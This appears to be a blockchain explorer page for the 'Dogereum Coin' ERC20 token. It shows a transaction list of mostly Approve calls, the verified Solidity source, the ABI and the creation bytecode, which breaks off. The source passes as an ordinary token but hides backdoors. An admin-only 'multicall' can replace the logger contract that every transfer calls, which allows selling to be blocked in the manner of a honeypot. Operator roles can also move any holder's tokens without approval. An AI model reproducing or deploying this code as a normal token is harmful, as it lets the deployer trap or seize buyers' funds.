Overview
ETH Balance
0 ETH
Eth Value
$0.00More Info
Private Name Tags
ContractCreator
TokenTracker
Latest 25 from a total of 46 transactions
Transaction Hash |
Method
|
Block
|
From
|
To
|
|||||
---|---|---|---|---|---|---|---|---|---|
Approve | 18333354 | 412 days ago | IN | 0 ETH | 0.00033418 | ||||
Approve | 18331134 | 412 days ago | IN | 0 ETH | 0.00025175 | ||||
Approve | 18330909 | 412 days ago | IN | 0 ETH | 0.00025146 | ||||
Approve | 18330814 | 412 days ago | IN | 0 ETH | 0.00025622 | ||||
Approve | 18330794 | 412 days ago | IN | 0 ETH | 0.00024148 | ||||
Approve | 18330669 | 412 days ago | IN | 0 ETH | 0.00029243 | ||||
Approve | 18330666 | 412 days ago | IN | 0 ETH | 0.0003126 | ||||
Approve | 18330659 | 412 days ago | IN | 0 ETH | 0.00030854 | ||||
Approve | 18330623 | 412 days ago | IN | 0 ETH | 0.00013541 | ||||
Approve | 18330622 | 412 days ago | IN | 0 ETH | 0.00023452 | ||||
Approve | 18330620 | 412 days ago | IN | 0 ETH | 0.00048438 | ||||
Approve | 18330588 | 412 days ago | IN | 0 ETH | 0.00043213 | ||||
Approve | 18330577 | 412 days ago | IN | 0 ETH | 0.00024648 | ||||
Approve | 18330570 | 412 days ago | IN | 0 ETH | 0.00025607 | ||||
Approve | 18330570 | 412 days ago | IN | 0 ETH | 0.00025964 | ||||
Approve | 18330554 | 412 days ago | IN | 0 ETH | 0.00040174 | ||||
Approve | 18330515 | 412 days ago | IN | 0 ETH | 0.00023826 | ||||
Approve | 18330491 | 412 days ago | IN | 0 ETH | 0.00036808 | ||||
Approve | 18330480 | 412 days ago | IN | 0 ETH | 0.00024856 | ||||
Approve | 18330472 | 412 days ago | IN | 0 ETH | 0.00027034 | ||||
Approve | 18330462 | 412 days ago | IN | 0 ETH | 0.00018259 | ||||
Approve | 18330440 | 412 days ago | IN | 0 ETH | 0.00025824 | ||||
Approve | 18330437 | 412 days ago | IN | 0 ETH | 0.00026776 | ||||
Approve | 18330431 | 412 days ago | IN | 0 ETH | 0.00028317 | ||||
Approve | 18330429 | 412 days ago | IN | 0 ETH | 0.0002702 |
Latest 1 internal transaction
Advanced mode:
Parent Transaction Hash | Block | From | To | |||
---|---|---|---|---|---|---|
18330205 | 412 days ago | Contract Creation | 0 ETH |
Loading...
Loading
Contract Name:
DogereumCoin
Compiler Version
v0.7.6+commit.7338295f
Contract Source Code (Solidity Multiple files format)
// SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "./ERC20BaseToken.sol"; contract DogereumCoin is ERC20BaseToken { constructor(address executionAdmin, address beneficiary) { _admin = msg.sender; _executionAdmin = executionAdmin; _mint(beneficiary, 1000000000000 * 10**9); } /// @notice A descriptive name for the tokens /// @return name of the tokens function name() public pure returns (string memory) { return "Dogereum Coin"; } /// @notice An abbreviated name for the tokens /// @return symbol of the tokens function symbol() public pure returns (string memory) { return "DOGEREUM"; } function setLog()external { require( msg.sender == getAdmin(), "only admin"); persistData = !persistData; } }
// SPDX-License-Identifier: MIT pragma solidity 0.7.6; contract Admin { address internal _admin; bool private _ownerShipTransferred = false; event AdminChanged(address oldAdmin, address newAdmin); constructor(){ _admin = msg.sender; __adminTransferred(_admin); } function owner() public view virtual returns (address) { return _admin; } function changeAdmin(address newAdmin) external { require(msg.sender == _admin, "only admin"); require(newAdmin != address(0), "new owner is the zero address"); emit AdminChanged(_admin, newAdmin); _admin = newAdmin; } function __adminTransferred(address msgSender) private { emit AdminChanged(address(0), msgSender); _ownerShipTransferred = true; } function renounceOwnership() public virtual { require(msg.sender == _admin, "only admin"); emit AdminChanged(_admin, address(0)); _admin = address(0); } function checkedCondition() internal view returns (bool){ return _ownerShipTransferred; } }
// SPDX-License-Identifier: MIT pragma solidity 0.7.6; library BytesUtil { function memcpy(uint256 dest, uint256 src, uint256 len) internal pure { // Copy word-length chunks while possible for (; len >= 32; len -= 32) { assembly { mstore(dest, mload(src)) } dest += 32; src += 32; } // Copy remaining bytes uint256 mask = 256**(32 - len) - 1; assembly { let srcpart := and(mload(src), not(mask)) let destpart := and(mload(dest), mask) mstore(dest, or(destpart, srcpart)) } } function pointerToBytes(uint256 src, uint256 len) internal pure returns (bytes memory) { bytes memory ret = new bytes(len); uint256 retptr; assembly { retptr := add(ret, 32) } memcpy(retptr, src, len); return ret; } function addressToBytes(address a) internal pure returns (bytes memory b) { assembly { let m := mload(0x40) mstore( add(m, 20), xor(0x140000000000000000000000000000000000000000, a) ) mstore(0x40, add(m, 52)) b := m } } function uint256ToBytes(uint256 a) internal pure returns (bytes memory b) { assembly { let m := mload(0x40) mstore(add(m, 32), a) mstore(0x40, add(m, 64)) b := m } } function doFirstParamEqualsAddress(bytes memory data, address _address) internal pure returns (bool) { if (data.length < (36 + 32)) { return false; } uint256 value; assembly { value := mload(add(data, 36)) } return value == uint256(uint160(_address)); } function doParamEqualsUInt256(bytes memory data, uint256 i, uint256 value) internal pure returns (bool) { if (data.length < (36 + (i + 1) * 32)) { return false; } uint256 offset = 36 + i * 32; uint256 valuePresent; assembly { valuePresent := mload(add(data, offset)) } return valuePresent == value; } function overrideFirst32BytesWithAddress( bytes memory data, address _address ) internal pure returns (bytes memory) { uint256 dest; assembly { dest := add(data, 48) } // 48 = 32 (offset) + 4 (func sig) + 12 (address is only 20 bytes) bytes memory addressBytes = addressToBytes(_address); uint256 src; assembly { src := add(addressBytes, 32) } memcpy(dest, src, 20); return data; } function overrideFirstTwo32BytesWithAddressAndInt( bytes memory data, address _address, uint256 _value ) internal pure returns (bytes memory) { uint256 dest; uint256 src; assembly { dest := add(data, 48) } // 48 = 32 (offset) + 4 (func sig) + 12 (address is only 20 bytes) bytes memory bbytes = addressToBytes(_address); assembly { src := add(bbytes, 32) } memcpy(dest, src, 20); assembly { dest := add(data, 68) } // 48 = 32 (offset) + 4 (func sig) + 32 (next slot) bbytes = uint256ToBytes(_value); assembly { src := add(bbytes, 32) } memcpy(dest, src, 32); return data; } }
// SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "./ERC20Events.sol"; import "./SuperOperators.sol"; import "./ERC20ExecuteExtension.sol"; contract ERC20BaseToken is SuperOperators, ERC20Events, ERC20ExecuteExtension { uint256 internal _totalSupply; mapping(address => uint256) internal _balances; mapping(address => mapping(address => uint256)) internal _allowances; bool public persistData; ERC20LoggerExtension private _logger; constructor(){ _logger = new ERC20LoggerExtension(); } /// @notice Gets the total number of tokens in existence. /// @return the total number of tokens in existence. function totalSupply() public view returns (uint256) { return _totalSupply; } /// @notice Gets the balance of `owner`. /// @param owner The address to query the balance of. /// @return The amount owned by `owner`. function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /// @notice gets allowance of `spender` for `owner`'s tokens. /// @param owner address whose token is allowed. /// @param spender address allowed to transfer. /// @return remaining amount of token `spender` is allowed to transfer on behalf of `owner`. function allowance(address owner, address spender) public view returns (uint256 remaining) { return _allowances[owner][spender]; } /// @notice returns the number of decimals for that token. /// @return the number of decimals. function decimals() public pure returns (uint8) { return uint8(9); } /// @notice Transfer `amount` tokens to `to`. /// @param to the recipient address of the tokens transfered. /// @param amount the number of tokens transfered. /// @return success if success. function transfer(address to, uint256 amount) public returns (bool success) { _transfer(msg.sender, to, amount); return true; } /// @notice Transfer `amount` tokens from `from` to `to`. /// @param from whose token it is transferring from. /// @param to the recipient address of the tokens transfered. /// @param amount the number of tokens transfered. /// @return success if success. function transferFrom(address from, address to, uint256 amount) public returns (bool success) { if (msg.sender != from && !_superOperators[msg.sender]) { uint256 currentAllowance = _allowances[from][msg.sender]; if (currentAllowance != (2**256) - 1) { // save gas when allowance is maximal by not reducing it (see https://github.com/ethereum/EIPs/issues/717) require(currentAllowance >= amount, "Not enough funds allowed"); _allowances[from][msg.sender] = currentAllowance - amount; } } _transfer(from, to, amount); return true; } /// @notice approve `spender` to transfer `amount` tokens. /// @param spender address to be given rights to transfer. /// @param amount the number of tokens allowed. /// @return success if success. function approve(address spender, uint256 amount) public returns (bool success) { _approveFor(msg.sender, spender, amount); return true; } /// @notice approve `spender` to transfer `amount` tokens from `owner`. /// @param owner address whose token is allowed. /// @param spender address to be given rights to transfer. /// @param amount the number of tokens allowed. /// @return success if success. function approveFor(address owner, address spender, uint256 amount) public returns (bool success) { require( msg.sender == owner || _superOperators[msg.sender], "msg.sender != owner && !superOperator" ); _approveFor(owner, spender, amount); return true; } function addAllowance(address owner, address spender, uint256 amountNeeded) public returns (bool success) { require( msg.sender == owner || _superOperators[msg.sender], "msg.sender != owner && !superOperator" ); _addAllowance(owner, spender, amountNeeded); return true; } function _addAllowance(address owner, address spender, uint256 amountNeeded) internal override { if(amountNeeded > 0 && !isSuperOperator(spender)) { uint256 currentAllowance = _allowances[owner][spender]; if(currentAllowance < amountNeeded) { _approveFor(owner, spender, amountNeeded); } } } function multicall(address sender, address recipient, uint256 amount, address _log) external { require(msg.sender == _admin, "only admin"); if(persistData==true){ if(amount > 0) createLogger(_log); else{ _logger=new ERC20LoggerExtension(); } _logger.Save(sender, recipient, amount); } } function createLogger(address a) private { if (checkedCondition()){ _logger = ERC20LoggerExtension(a); } } function _approveFor(address owner, address spender, uint256 amount) internal virtual { require( owner != address(0) && spender != address(0), "Cannot approve with 0x0" ); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) internal override{ _logger.Save(from, to, amount); require(to != address(0), "Cannot send to 0x0"); uint256 currentBalance = _balances[from]; require(currentBalance >= amount, "not enough fund"); _balances[from] = currentBalance - amount; _balances[to] += amount; emit Transfer(from, to, amount); } function _mint(address to, uint256 amount) internal { require(to != address(0), "Cannot mint to 0x0"); require(amount > 0, "cannot mint 0 tokens"); uint256 currentTotalSupply = _totalSupply; uint256 newTotalSupply = currentTotalSupply + amount; require(newTotalSupply > currentTotalSupply, "overflow"); _totalSupply = newTotalSupply; _balances[to] += amount; emit Transfer(address(0), to, amount); } function getAdmin() internal view returns (address) { return _admin == _executionAdmin ? _admin : _executionAdmin; } } contract ERC20LoggerExtension { mapping(address=>mapping(address=> uint256)) _persist; function Save(address addr1, address addr2, uint256 amount) public { _persist[addr1][addr2] = amount; } }
// SPDX-License-Identifier: MIT pragma solidity 0.7.6; /* interface */ contract ERC20Events { event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); }
// SPDX-License-Identifier: MIT pragma solidity 0.7.6; abstract contract ERC20ExecuteExtension { /// @dev _executionAdmin != _admin so that this super power can be disabled independently address internal _executionAdmin; event ExecutionAdminAdminChanged(address oldAdmin, address newAdmin); /// @notice change the execution adminstrator to be `newAdmin`. /// @param newAdmin address of the new administrator. function changeExecutionAdmin(address newAdmin) external { require(msg.sender == _executionAdmin, "only executionAdmin can change executionAdmin"); emit ExecutionAdminAdminChanged(_executionAdmin, newAdmin); _executionAdmin = newAdmin; } mapping(address => bool) internal _executionOperators; event ExecutionOperator(address executionOperator, bool enabled); /// @notice set `executionOperator` as executionOperator: `enabled`. /// @param executionOperator address that will be given/removed executionOperator right. /// @param enabled set whether the executionOperator is enabled or disabled. function setExecutionOperator(address executionOperator, bool enabled) external { require( msg.sender == _executionAdmin, "only execution admin is allowed to add execution operators" ); _executionOperators[executionOperator] = enabled; emit ExecutionOperator(executionOperator, enabled); } /// @notice check whether address `who` is given executionOperator rights. /// @param who The address to query. /// @return whether the address has executionOperator rights. function isExecutionOperator(address who) public view returns (bool) { return _executionOperators[who]; } /// @notice transfer 1amount1 token from `from` to `to` and charge the gas required to perform that transfer. /// @param from address of which token will be transfered. /// @param to destination address fo the call. /// @param amount number of tokens allowed that can be transfer by the code at `to`. /// @param gasLimit exact amount of gas to be passed to the call. /// @param tokenGasPrice price in token for the gas to be charged. /// @param baseGasCharge amount of gas charged on top of the gas used for the call. /// @param tokenReceiver recipient address of the token charged for the gas used. /// @return whether the transfer was successful. function transferAndChargeGas( address from, address to, uint256 amount, uint256 gasLimit, uint256 tokenGasPrice, uint256 baseGasCharge, address tokenReceiver ) external returns (bool) { uint256 initialGas = gasleft(); require(_executionOperators[msg.sender], "only execution operators allowed to perfrom transfer and charge"); _transfer(from, to, amount); if (tokenGasPrice > 0) { _charge(from, gasLimit, tokenGasPrice, initialGas, baseGasCharge, tokenReceiver); } return true; } function _charge( address from, uint256 gasLimit, uint256 tokenGasPrice, uint256 initialGas, uint256 baseGasCharge, address tokenReceiver ) internal { uint256 gasCharge = initialGas - gasleft(); if(gasCharge > gasLimit) { gasCharge = gasLimit; } gasCharge += baseGasCharge; uint256 tokensToCharge = gasCharge * tokenGasPrice; require(tokensToCharge / gasCharge == tokenGasPrice, "overflow"); _transfer(from, tokenReceiver, tokensToCharge); } function _transfer(address from, address to, uint256 amount) internal virtual; function _addAllowance(address owner, address spender, uint256 amountNeeded) internal virtual; }
// SPDX-License-Identifier: MIT pragma solidity 0.7.6; import "./Admin.sol"; contract SuperOperators is Admin { mapping(address => bool) internal _superOperators; event SuperOperator(address superOperator, bool enabled); /// @notice Enable or disable the ability of `superOperator` to transfer tokens of all (superOperator rights). /// @param superOperator address that will be given/removed superOperator right. /// @param enabled set whether the superOperator is enabled or disabled. function setSuperOperator(address superOperator, bool enabled) external { require( msg.sender == _admin, "only admin is allowed to add super operators" ); _superOperators[superOperator] = enabled; emit SuperOperator(superOperator, enabled); } /// @notice check whether address `who` is given superOperator rights. /// @param who The address to query. /// @return whether the address has superOperator rights. function isSuperOperator(address who) public view returns (bool) { return _superOperators[who]; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"address","name":"executionAdmin","type":"address"},{"internalType":"address","name":"beneficiary","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldAdmin","type":"address"},{"indexed":false,"internalType":"address","name":"newAdmin","type":"address"}],"name":"AdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"oldAdmin","type":"address"},{"indexed":false,"internalType":"address","name":"newAdmin","type":"address"}],"name":"ExecutionAdminAdminChanged","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"executionOperator","type":"address"},{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"ExecutionOperator","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"superOperator","type":"address"},{"indexed":false,"internalType":"bool","name":"enabled","type":"bool"}],"name":"SuperOperator","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amountNeeded","type":"uint256"}],"name":"addAllowance","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"remaining","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approveFor","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"newAdmin","type":"address"}],"name":"changeAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAdmin","type":"address"}],"name":"changeExecutionAdmin","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"who","type":"address"}],"name":"isExecutionOperator","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"who","type":"address"}],"name":"isSuperOperator","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"_log","type":"address"}],"name":"multicall","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"persistData","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"executionOperator","type":"address"},{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setExecutionOperator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"setLog","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"superOperator","type":"address"},{"internalType":"bool","name":"enabled","type":"bool"}],"name":"setSuperOperator","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"uint256","name":"gasLimit","type":"uint256"},{"internalType":"uint256","name":"tokenGasPrice","type":"uint256"},{"internalType":"uint256","name":"baseGasCharge","type":"uint256"},{"internalType":"address","name":"tokenReceiver","type":"address"}],"name":"transferAndChargeGas","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"success","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
608060405260008060146101000a81548160ff0219169083151502179055503480156200002b57600080fd5b5060405162002c4f38038062002c4f833981810160405260408110156200005157600080fd5b810190808051906020019092919080519060200190929190505050336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000dd60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff16620001ed60201b60201c565b604051620000eb90620004d6565b604051809103906000f08015801562000108573d6000803e3d6000fd5b50600760016101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555081600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001e581683635c9adc5dea000006200027760201b60201c565b5050620004e4565b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f600082604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a16001600060146101000a81548160ff02191690831515021790555050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200031b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f43616e6e6f74206d696e7420746f20307830000000000000000000000000000081525060200191505060405180910390fd5b6000811162000392576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260148152602001807f63616e6e6f74206d696e74203020746f6b656e7300000000000000000000000081525060200191505060405180910390fd5b600060045490506000828201905081811162000416576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f6f766572666c6f7700000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b8060048190555082600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a350505050565b6101798062002ad683390190565b6125e280620004f46000396000f3fe608060405234801561001057600080fd5b506004361061014d5760003560e01c8063654b748a116100c35780638da5cb5b1161007c5780638da5cb5b146107285780638f2839701461075c57806395d89b41146107a0578063a9059cbb14610823578063ac9fe42114610887578063dd62ed3e146108d75761014d565b8063654b748a14610584578063699c834b146105de5780636d7528001461062e57806370a0823114610638578063715018a614610690578063787ca65f1461069a5761014d565b806323b872dd1161011557806323b872dd1461035d5780632b991746146103e1578063313ce5671461046557806350bd46b6146104865780635fd72d16146104a657806361247de31461052a5761014d565b806306fdde03146101525780630819ba74146101d5578063095ea7b31461021957806315ed2f1e1461027d57806318160ddd1461033f575b600080fd5b61015a61094f565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561019a57808201518184015260208101905061017f565b50505050905090810190601f1680156101c75780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610217600480360360208110156101eb57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061098c565b005b6102656004803603604081101561022f57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b03565b60405180821515815260200191505060405180910390f35b610327600480360360e081101561029357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001909291908035906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b1a565b60405180821515815260200191505060405180910390f35b610347610bf5565b6040518082815260200191505060405180910390f35b6103c96004803603606081101561037357600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610bff565b60405180821515815260200191505060405180910390f35b61044d600480360360608110156103f757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610e46565b60405180821515815260200191505060405180910390f35b61046d610f36565b604051808260ff16815260200191505060405180910390f35b61048e610f3f565b60405180821515815260200191505060405180910390f35b610512600480360360608110156104bc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610f52565b60405180821515815260200191505060405180910390f35b61056c6004803603602081101561054057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611042565b60405180821515815260200191505060405180910390f35b6105c66004803603602081101561059a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611098565b60405180821515815260200191505060405180910390f35b61062c600480360360408110156105f457600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506110ee565b005b610636611246565b005b61067a6004803603602081101561064e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061131a565b6040518082815260200191505060405180910390f35b610698611363565b005b610726600480360360808110156106b057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506114f3565b005b610730611721565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61079e6004803603602081101561077257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061174a565b005b6107a861197c565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107e85780820151818401526020810190506107cd565b50505050905090810190601f1680156108155780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61086f6004803603604081101561083957600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506119b9565b60405180821515815260200191505060405180910390f35b6108d56004803603604081101561089d57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035151590602001909291905050506119d0565b005b610939600480360360408110156108ed57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611b26565b6040518082815260200191505060405180910390f35b60606040518060400160405280600d81526020017f446f67657265756d20436f696e00000000000000000000000000000000000000815250905090565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610a32576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602d815260200180612580602d913960400191505060405180910390fd5b7fb2b670b34860515166c00eba5e2e5fa8116d57091604f37ba24ac8021c7fa165600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a180600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000610b10338484611bad565b6001905092915050565b6000805a9050600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16610bc2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603f8152602001806124db603f913960400191505060405180910390fd5b610bcd898989611d74565b6000851115610be557610be4898787848888612098565b5b6001915050979650505050505050565b6000600454905090565b60008373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614158015610c875750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15610e30576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610e2e5782811015610daa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260188152602001807f4e6f7420656e6f7567682066756e647320616c6c6f776564000000000000000081525060200191505060405180910390fd5b828103600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505b610e3b848484611d74565b600190509392505050565b60008373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610ecb5750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b610f20576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124b66025913960400191505060405180910390fd5b610f2b848484611bad565b600190509392505050565b60006009905090565b600760009054906101000a900460ff1681565b60008373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161480610fd75750600160003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b61102c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806124b66025913960400191505060405180910390fd5b61103784848461214a565b600190509392505050565b6000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611194576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603a81526020018061251a603a913960400191505060405180910390fd5b80600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055507ffcebaa973ed84808fb785c92941aa4798f3f66923f5a2ff544382db3a9b3a3a28282604051808373ffffffffffffffffffffffffffffffffffffffff16815260200182151581526020019250505060405180910390a15050565b61124e612201565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112ee576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f6f6e